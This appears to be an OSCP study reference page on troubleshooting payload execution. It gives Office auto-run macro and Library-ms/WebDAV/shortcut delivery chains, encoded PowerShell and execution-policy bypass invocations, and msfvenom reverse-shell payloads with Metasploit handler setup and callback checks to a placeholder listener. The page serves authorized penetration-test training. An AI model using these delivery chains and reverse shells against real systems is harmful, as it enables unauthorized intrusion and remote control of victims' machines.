Skip to content
leg3ndProjects & tools
01Home02Projects03Tools04Notes
GMT+8
O/ OSCP exploitation reference
Workspace controls Memory only · 0 steps
Visualize path ↗
Command values 0 filled

Temporary connection values clear on reload. Passwords, hashes and tickets remain placeholders. Check address-family syntax in the selected command.

Reference index ↗ Search all procedures & variants ↗
01Discovery02Enumeration03Initial access04Usable access05Local privilege06Active Directory07Internal access08Evidence & reporting

QUICK REFERENCE

Discovery›Services›Web mapping›Web exploitation›Credentials›Public exploits›Sessions & transfers›Linux escalation›Windows escalation›AD enumeration›AD identity attacks›Lateral movement›Pivoting & tunnels›Execution troubleshooting›Integration & evidence›
174 methods · 15 topicsFull reference on GitHub ↗Commands · scripts · next steps
Tools/OSCP/Usable access/Execution troubleshooting

REFERENCE / 9 TASKS

Execution troubleshooting

Use the exact error to choose a check: file format, architecture, parser, PowerShell, handler or callback route. Repair the failed layer before changing the payload.

Contents ↓Tools & scripts ↓Commands ↓First-pass workflow ↓Full procedure index ↗

Contents

Jump to a task. Commands and variants are visible below; full checks and explanations stay on each technique page.

  • Client-side delivery and interaction
    • Use a gated Office macro delivery chain
    • Use a Windows Library/WebDAV/shortcut chain with explicit interaction
  • Format, parser and control boundaries
    • Match an artifact to its executable consumer and runtime
    • Repair quoting, encoding and command-length boundaries
    • Distinguish PowerShell policy, language mode and protected execution layers
    • Interpret endpoint-control evidence and select a justified alternative
  • Handlers, framework state and callbacks
    • Pair staged payloads with the correct handler and session lifecycle
    • Use a framework module with explicit target and feature constraints
    • Diagnose connection direction, listener and session failures in order

Tools & scripts

Metasploit handler upstream ↗
Match payload transport, architecture and listener; inspect framework limits.
PowerShell upstream ↗
Distinguish parsing, policy, runtime and process architecture failures.
file / readelf upstream ↗
Check format and ABI before changing a payload.

Client-side delivery and interaction

Use a gated Office macro delivery chain

Contents ↑

Use when: An assigned client-side scenario includes Office and a document-open interaction

Needs: Compatible installed Office/macro support, a real required user interaction, executable document state and allowed macro/security policy

A minimal harmless execution proof is

Use a macro-enabled format such as .docm or a legacy .doc; .docx does not persist embedded VBA macros by itself. Store the macro in the document, not only the global template. A minimal harmless execution proof is:

' A minimal harmless execution proof is
Sub AutoOpen()
    RunProof
End Sub

Sub Document_Open()
    RunProof
End Sub

Sub RunProof()
    CreateObject("WScript.Shell").Run _
        "cmd.exe /c whoami > %TEMP%\oscp-marker.txt", 0, True
End Sub

Inspect a file's zone without changing it

AutoOpen and Document_Open cover distinct Word opening paths. Replace the proof command only after the document, trigger and execution context are confirmed.

# Inspect a file's zone without changing it
Get-Item -LiteralPath 'C:\PATH\FILE.docm' -Stream *
Get-Content -LiteralPath 'C:\PATH\FILE.docm' -Stream Zone.Identifier

Read / verify → Verify the actual macro-triggered effect and user context; document receipt is not execution.

If it fails → Missing Office, absent interaction, blocked internet macros or incompatible content invalidates the chosen chain. Use a method supported by the assigned scenario.

  • A simple command works while a longer or nested payload fails → Repair quoting, encoding and command-length boundaries
  • Command execution or payload delivery exists but the expected usable channel does not → Diagnose connection direction, listener and session failures in order
  • Windows execution or valid credentials with an available remote service → Use Windows authenticated access or a PowerShell command channel

Prerequisite checks & examples →Full technique →

Use a Windows Library/WebDAV/shortcut chain with explicit interaction

Contents ↑

Use when: A client-side scenario permits a Library file and remote share presentation

Needs: Compatible Windows consumer, reachable WebDAV resource, correctly handled shortcut and required user launch; policy permits the action

The PEN-200 attack pattern is two-stage

# The PEN-200 attack pattern is two-stage
delivered .Library-ms
→ user opens library
→ Explorer reaches WebDAV location
→ user opens .lnk
→ shortcut launches chosen command
→ optional download/callback

If WsgiDAV is already installed, publish a dedicated authorized-lab directory

# If WsgiDAV is already installed, publish a dedicated authorized-lab directory
mkdir -p webdav
wsgidav --host=0.0.0.0 --port=80 \
  --root=./webdav --auth=anonymous

Original library template using placeholders

Anonymous mode exposes the selected directory. Bind only to the required lab interface when possible, place no sensitive files there and stop the server after the exercise. Port 80 is the reliable baseline for a plain-HTTP Windows WebDAV location. Use another port only after confirming the target WebClient accepts that URL form and the route permits it.

<!-- Original library template using placeholders -->
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <name>@windows.storage.dll,-34582</name>
  <version>1</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1002</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
        <url>http://LHOST/</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

Create a shortcut on a controlled Windows preparation host

Save it with a .Library-ms extension. Windows may add a serialized location after opening it; retain a clean source copy and inspect the final artifact before delivery.

# Create a shortcut on a controlled Windows preparation host
$shortcutPath = 'C:\PATH\webdav\ACTION.lnk'
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = "$env:SystemRoot\System32\cmd.exe"
$shortcut.Arguments = '/c whoami > %TEMP%\oscp-marker.txt'
$shortcut.WorkingDirectory = $env:TEMP
$shortcut.IconLocation = "$env:SystemRoot\System32\imageres.dll,11"
$shortcut.Save()

Diagnose this chain at three independent network points

Only after the harmless marker works, substitute a command compatible with the target and the separately proven callback route. Diagnose this chain at three independent network points:

# Diagnose this chain at three independent network points
Explorer → WebDAV
shortcut command → optional payload/download server
executed payload → listener/handler

Read / verify → Verify the launched command's identity/effect and distinguish WebDAV requests from execution.

If it fails → Unavailable WebDAV client, blocked remote path, missing shortcut interaction or policy can stop the chain before a callback.

  • A simple command works while a longer or nested payload fails → Repair quoting, encoding and command-length boundaries
  • A downloaded/generated artifact exists but does not run → Match an artifact to its executable consumer and runtime
  • Command execution or payload delivery exists but the expected usable channel does not → Diagnose connection direction, listener and session failures in order

Prerequisite checks & examples →Full technique →

Format, parser and control boundaries

Match an artifact to its executable consumer and runtime

Contents ↑

Use when: A downloaded/generated artifact exists but does not run

Needs: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Record all of these

# Record all of these
target OS and build
target process architecture
artifact format
loader/interpreter
execution identity and integrity
working directory and PATH
required runtime/libraries
arguments and quoting
network direction
handler protocol

4.1 Linux checks

# 4.1 Linux checks
uname -a
uname -m
file PAYLOAD
readelf -h PAYLOAD | sed -n '1,25p'
ldd PAYLOAD
ls -l PAYLOAD
findmnt -T /PATH/TO/PAYLOAD
head -n 1 SCRIPT
  • Exec format error: wrong format/architecture or invalid interpreter line;
  • Permission denied: missing execute permission, inaccessible parent directory, noexec, policy or identity issue;
  • No such file or directory when the file exists: missing dynamic loader or broken shebang interpreter;
  • missing shared object: runtime library mismatch;
  • ^M in a shebang: CRLF line endings changed the interpreter path;
  • works interactively but not through cron/service: environment, working directory, shell, identity or route differs.

4.2 Windows checks

# 4.2 Windows checks
Get-CimInstance Win32_OperatingSystem |
  Select-Object Caption,Version,BuildNumber,OSArchitecture

[Environment]::Is64BitOperatingSystem
[Environment]::Is64BitProcess
$env:PROCESSOR_ARCHITECTURE
Get-AuthenticodeSignature -FilePath 'C:\PATH\PAYLOAD.exe'

Keep OS architecture and consumer-process architecture separate. A 64-bit OS can run a 32-bit process under WOW64; injected code and DLLs must match the process they enter. A normal executable is not necessarily a service executable, DLL, MSI or script:

Read / verify → Verify matching bytes, consumer and actual minimal execution effect; on Windows inspect PE architecture/runtime and resulting process.

If it fails → Permission, mount policy, CRLF/shebang, missing runtime and architecture mismatches require different fixes.

  • An existing C/C++ or platform-specific PoC matches the candidate → Compile and minimally adapt an existing native or memory-corruption PoC
  • An existing exploit/delivery primitive needs a binary or raw payload → Generate a payload matching OS, process, format and handler
  • A simple command works while a longer or nested payload fails → Repair quoting, encoding and command-length boundaries
  • An assigned client-side scenario includes Office and a document-open interaction → Use a gated Office macro delivery chain
  • A client-side scenario permits a Library file and remote share presentation → Use a Windows Library/WebDAV/shortcut chain with explicit interaction

Prerequisite checks & examples →Full technique →

Repair quoting, encoding and command-length boundaries

Contents ↑

Use when: A simple command works while a longer or nested payload fails

Needs: Known outer request/template/database parser and inner shell; correct character encoding and transport length

Write the real chain

# Write the real chain
document/shortcut or HTTP/SQL/template input
→ application parser
→ VBA/WScript/application runtime
→ cmd.exe /c, /bin/sh -c or PowerShell
→ final command/payload

PowerShell encoded-command preparation

# PowerShell encoded-command preparation
$command = 'COMMAND'
$bytes = [Text.Encoding]::Unicode.GetBytes($command)
[Convert]::ToBase64String($bytes)

Windows commands

REM Baseline
powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE

Write the parser chain explicitly

# Write the parser chain explicitly
HTTP/SQL/template parser
→ application language
→ command launcher (`system`, `cmd /c`, `/bin/sh -c`, PowerShell)
→ target shell/interpreter
→ payload command

Encode only for the layer that consumes the characters

Test each layer with a small command. Encode only for the layer that consumes the characters:

# Encode only for the layer that consumes the characters
python3 -c 'import urllib.parse; print(urllib.parse.quote("COMMAND"))'

Read / verify → Verify received/executed command behavior at each parser boundary with small discriminating tests.

If it fails → Truncation, double decoding or mismatched shell syntax should not be treated as missing network connectivity.

  • An input appears in a command-like operation or causes shell-dependent behavior → Prove visible or blind operating-system command injection
  • Linux command execution exists but an interactive channel is needed → Connect a Linux reverse shell through an available interpreter
  • Windows execution or valid credentials with an available remote service → Use Windows authenticated access or a PowerShell command channel

Prerequisite checks & examples →Full technique →

Distinguish PowerShell policy, language mode and protected execution layers

Contents ↑

Use when: PowerShell reports scripts disabled, constrained syntax or an execution-control error

Needs: Actual host policy/language context and a supported allowed execution route; required runtime features remain available

Read-only checks

ControlWhat it changesUseful evidence
Execution policyConditions for loading/running scriptsGet-ExecutionPolicy -List and exact error
Language modeAvailable PowerShell language features$ExecutionContext.SessionState.LanguageMode
AMSISubmits supported script/content to antimalwareExplicit block/error plus Defender/PowerShell events
AppLocker/WDACApplication/script allow policyEffective policy and application-control events
Defender/other AVFile, memory, behavior and network decisionsStatus, detection history, quarantine/events
PermissionsFile/process/service/token rightsAccess-denied result under named identity

Read-only checks:

# Read-only checks
Get-ExecutionPolicy -List
$ExecutionContext.SessionState.LanguageMode

Get-MpComputerStatus |
  Select-Object AntivirusEnabled,RealTimeProtectionEnabled,
    BehaviorMonitorEnabled,IoavProtectionEnabled,AntivirusSignatureVersion

Get-MpThreatDetection |
  Select-Object InitialDetectionTime,ThreatID,ActionSuccess,Resources

Get-AppLockerPolicy -Effective -Xml

Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,LevelDisplayName,Message

Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/EXE and DLL' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,Message

Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/MSI and Script' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,Message

Windows commands

REM Baseline
powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\PATH\SCRIPT.ps1

Read / verify → Record the exact failing layer and demonstrate the chosen permitted operation's actual effect.

If it fails → A language-mode error, antimalware block and script policy message require different next decisions.

  • An artifact disappears, a process is blocked, or execution is stopped with a policy/security event → Interpret endpoint-control evidence and select a justified alternative
  • Windows execution or valid credentials with an available remote service → Use Windows authenticated access or a PowerShell command channel
  • A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context

Prerequisite checks & examples →Full technique →

Interpret endpoint-control evidence and select a justified alternative

Contents ↑

Use when: An artifact disappears, a process is blocked, or execution is stopped with a policy/security event

Needs: Observable evidence at the relevant boundary and a compatible alternative whose own prerequisites hold

Windows Defender status, when the current identity can query it

ObservationMost useful next action
Transferred hash differsRepair transfer/encoding before execution
File arrives then vanishesInspect quarantine/detection events and resource path
File remains; process creation deniedInspect AppLocker/WDAC, permissions and parent process
Script-loading policy errorInspect scope/precedence; use an authorized process-only invocation if applicable
Explicit AMSI/content blockTreat content/control as confirmed; encoding alone is not a supported conclusion
Process starts then exitsCapture exit/error, dependency and architecture evidence
Process remains; no connectionTest target egress, LHOST and listener
TCP handshake then closeHandler/payload mismatch, stage failure, crash or control interruption
  • changing a filename does not imply a new payload;
  • Base64 does not imply concealment from AMSI;
  • an in-memory technique is not automatically invisible;
  • an encoder is primarily useful for transport/bad-character constraints, not guaranteed AV bypass;
  • a clean third-party scanner result does not prove execution on the target and may disclose a private sample.

Windows Defender status, when the current identity can query it:

# Windows Defender status, when the current identity can query it
Get-MpComputerStatus |
  Select-Object AntivirusEnabled,RealTimeProtectionEnabled,BehaviorMonitorEnabled,IoavProtectionEnabled

For MOTW/Office/Library-file delivery, execution-policy precedence, AMSI/AppLocker/Defender evidence and restricted Metasploit module/session handling, continue with payload execution obstacles.

Read / verify → Tie the observed block to the artifact/process and preserve the exact error/event context privately.

If it fails → No event visibility leaves the diagnosis inconclusive. Deep control-bypass development is not added through troubleshooting.

  • A downloaded/generated artifact exists but does not run → Match an artifact to its executable consumer and runtime
  • An exploit sends requests but authentication, routing or parsing differs from the target → Repair a web PoC using the real HTTP transaction
  • A WinRM listener and a candidate endpoint-authorized account → Use WinRM, WinRS or PowerShell remoting

Prerequisite checks & examples →Full technique →

Handlers, framework state and callbacks

Pair staged payloads with the correct handler and session lifecycle

Contents ↑

Use when: A payload connects without a session, or a handler/session exits unexpectedly

Needs: Exact payload/architecture/transport pairing, correct listener binding, reachable staging path and suitable job/session configuration

Shell commands

# Baseline
msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options

# Baseline stageless command shells
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f elf -o shell.elf

msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f exe -o shell.exe

file shell.elf shell.exe
sha256sum shell.elf shell.exe

# Existing reviewed PoC with documented byte restrictions
msfvenom -p PAYLOAD_NAME \
  LHOST=LHOST LPORT=LPORT \
  EXITFUNC=thread \
  -f FORMAT -v VARIABLE \
  -b 'BAD_CHARACTERS' -s MAX_SPACE

Staging distinction

Use EXITFUNC only when the exploit/consumer requires that termination behavior. Never invent bad characters or size limits.

# Staging distinction
windows/x64/shell_reverse_tcp  single/stageless
windows/x64/shell/reverse_tcp  staged

# Matching handler
msfconsole -q
use exploit/multi/handler
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
set ExitOnSession false
show options
run -j

# Manage the resulting job/session deliberately
jobs -l
sessions -l
sessions -i SESSION_ID
background
sessions -k SESSION_ID
jobs -k JOB_ID

ExitOnSession false keeps the handler available after a session opens. run -j backgrounds the handler. A session ID is local to that framework instance; record the target, identity, payload and listener rather than relying on the number alone.

Read / verify → Verify the resulting session's host/identity and keep the listener/payload relationship explicit.

If it fails → Wrong payload family, second-stage filtering, listener bind or handler lifecycle can explain the same superficial no-session symptom.

  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
  • Command execution or payload delivery exists but the expected usable channel does not → Diagnose connection direction, listener and session failures in order
  • An existing exploit/delivery primitive needs a binary or raw payload → Generate a payload matching OS, process, format and handler

Prerequisite checks & examples →Full technique →

Use a framework module with explicit target and feature constraints

Contents ↑

Use when: A reviewed module fits a verified exploit prerequisite set

Needs: Correct module/target/options, accepted payload/delivery route and the applicable current exam feature/target restrictions

Manual module inspection

# Manual module inspection
search type:exploit cve:CVE_ID
info MODULE_PATH
use MODULE_PATH
show options
show advanced
show targets
show payloads
set RHOSTS TARGET
set RPORT PORT
set TARGET TARGET_ID
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
show missing
run
  • module rank describes expected exploit stability, not target vulnerability;
  • check is an active module operation and does not prove exploitability when unsupported or inconclusive;
  • target IDs, default payloads and options vary by module/version;
  • automatic target selection is still an assumption to verify;
  • a module's success message is weaker than a verified session, host and identity;
  • setg persists values across modules and can silently aim later work at the wrong host; prefer local set unless global state is intentionally tracked.

Current OSCP+ restriction:

  • msfvenom and exploit/multi/handler may be used against all targets, except that a Meterpreter payload remains subject to the one-target limit;
  • any Metasploit Auxiliary, Exploit or Post module—or Meterpreter payload—locks the selection to one target, even if check or the attack fails;
  • Metasploit pivoting is prohibited;
  • automatic exploitation tools are prohibited.

Use manual/source-reviewed exploitation as the reusable baseline. Decide on the restricted Metasploit target deliberately and record that decision before using a restricted module or Meterpreter.

Read / verify → Verify destination effect and identity outside the module's status message.

If it fails → The official guide limits module/Meterpreter use to one target, with stated handler/msfvenom exceptions; even a failed check can commit the choice. Recheck the linked guide before choosing the feature.

  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
  • A payload connects without a session, or a handler/session exits unexpectedly → Pair staged payloads with the correct handler and session lifecycle
  • A pivoted exploit reaches its target but its shell/download cannot return → Build the callback and delivery routes separately from the attack route

Prerequisite checks & examples →Full technique →

Diagnose connection direction, listener and session failures in order

Contents ↑

Use when: Command execution or payload delivery exists but the expected usable channel does not

Needs: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence

Target-side route checks where available

# Target-side route checks where available
nc -vz LHOST LPORT
curl -v --connect-timeout 5 http://LHOST:LPORT/

PowerShell commands

# Baseline
Test-NetConnection LHOST -Port LPORT -InformationLevel Detailed

Observe Kali while triggering

# Observe Kali while triggering
sudo tcpdump -ni any tcp port LPORT
  1. Reproduce a harmless direct command in the exact vulnerable or user context.
  2. Confirm file/request integrity, final path and consumer.
  3. Identify every parser, interpreter and loader.
  4. Match target OS, process architecture, artifact format and runtime dependencies.
  5. Verify permissions, working directory, execution policy and application-control evidence.
  6. Start the correct listener/handler and prove its bind.
  7. Prove the target-to-listener route separately.
  8. Inspect concrete antimalware, application-control and process-failure evidence.
  9. Repair session I/O only after a connection exists.

A. Document delivered, no callback

# A. Document delivered, no callback
Observed: document exists
Unknown: opened, macro permitted, child command, network route
Test: MOTW/policy → harmless marker → child process/download → callback route
Action: repair first failed gate; do not regenerate the payload first

# B. Executable disappears after transfer
Observed: transfer response succeeded
Test: destination listing/hash → Defender detection/resource/event
Interpretation: transfer success is not retention; quarantine requires evidence
Action: choose a justified alternate execution form or native route, within scope

# C. PowerShell says scripts are disabled
Observed: explicit execution-policy error
Test: Get-ExecutionPolicy -List and GPO precedence
Action: use a process-scoped invocation if allowed; do not call this an AMSI result

# D. Connection reaches Netcat but there is no shell
Observed: TCP connection
Test: generated payload name
Interpretation: staged payload may have reached a raw listener
Action: use exact multi/handler or generate a compatible stageless command shell

# E. Binary exists but returns “not found” on Linux
Observed: path and file exist
Test: file, readelf interpreter, ldd, shebang
Interpretation: loader/interpreter dependency may be missing
Action: build/choose a compatible artifact; do not change callback settings

# F. Metasploit module reports completion, no session
Observed: module ran
Test: exact target profile, payload, callback route, handler output and service state
Interpretation: completion is not verified execution/session
Action: preserve module output and diagnose the first missing state

# F. Metasploit module reports completion, no session
artifact/request
→ delivered to intended consumer
→ required user/trigger action
→ parser/interpreter/loader
→ process or bounded side effect
→ network connection
→ handler protocol
→ usable session
BoundaryDecisive evidenceDoes not prove
DeliveryExpected bytes, request, document or shortcut arrives intactIt was opened or parsed
TriggerIntended user/service/parser consumed itChild process started
ExecutionHarmless marker, process or command outputCallback route works
ConnectionExpected peer reaches listenerPayload and handler agree
SessionCommands return; host and identity verifiedStability or privilege

Read / verify → Use command proof, packet evidence and actual channel behavior to identify the first failed boundary.

If it fails → A timeout alone is inconclusive. Return to the original trigger if execution is unproved; use handler/TTY repair only after the prior state is confirmed.

  • A pivoted exploit reaches its target but its shell/download cannot return → Build the callback and delivery routes separately from the attack route
  • A payload connects without a session, or a handler/session exits unexpectedly → Pair staged payloads with the correct handler and session lifecycle
  • A working shell lacks job control, terminal signals or interactive program support → Repair a limited Linux terminal

Prerequisite checks & examples →Full technique →

First pass: tools and findings

Use the steps matching your current access. Follow a concrete finding instead of completing every technique in order.

Find the first failed runtime boundary

Check bytes, file type, architecture and runtime before trying another payload.

file FILE
sha256sum FILE
readelf -l FILE 2>/dev/null
uname -m
  • If Wrong architecture or executable format → Compile and minimally adapt an existing native or memory-corruption PoC

    Fix the artifact/build before re-running it.

  • If The file reaches a different parser than expected → Repair quoting, encoding and command-length boundaries

    Inspect quoting, encoding and the exact invocation.

Otherwise: The artifact runs but no session appears: inspect handler and packet direction. Open Pair staged payloads with the correct handler and session lifecycle →

Full commands & alternatives →

Match the payload handler and connection direction

Keep the exact payload/session type, listener address and actual initiator together.

show options
jobs
sessions
  • If Handler settings match but no packet arrives → Diagnose connection direction, listener and session failures in order

    Check the callback route from the target, including any pivot.

  • If A session opens under the expected identity → Verify command execution, host and represented identity

    Verify the host and make the command channel usable.

Otherwise: A connection immediately dies: inspect the actual process/session lifecycle rather than assuming a working shell. Open Use a framework module with explicit target and feature constraints →

Full commands & alternatives →

Additional organization and gap review informed by 0xsyr0/OSCP ↗. Tool links open upstream sources.

HomeProjectsToolsNotes
Interactive toolsOSCP notes ↗Extended OSCP workspace ↗Attack-path visualizer ↗

© 2026 Armaan. Built with curiosity.

GitHub ↗GMT+8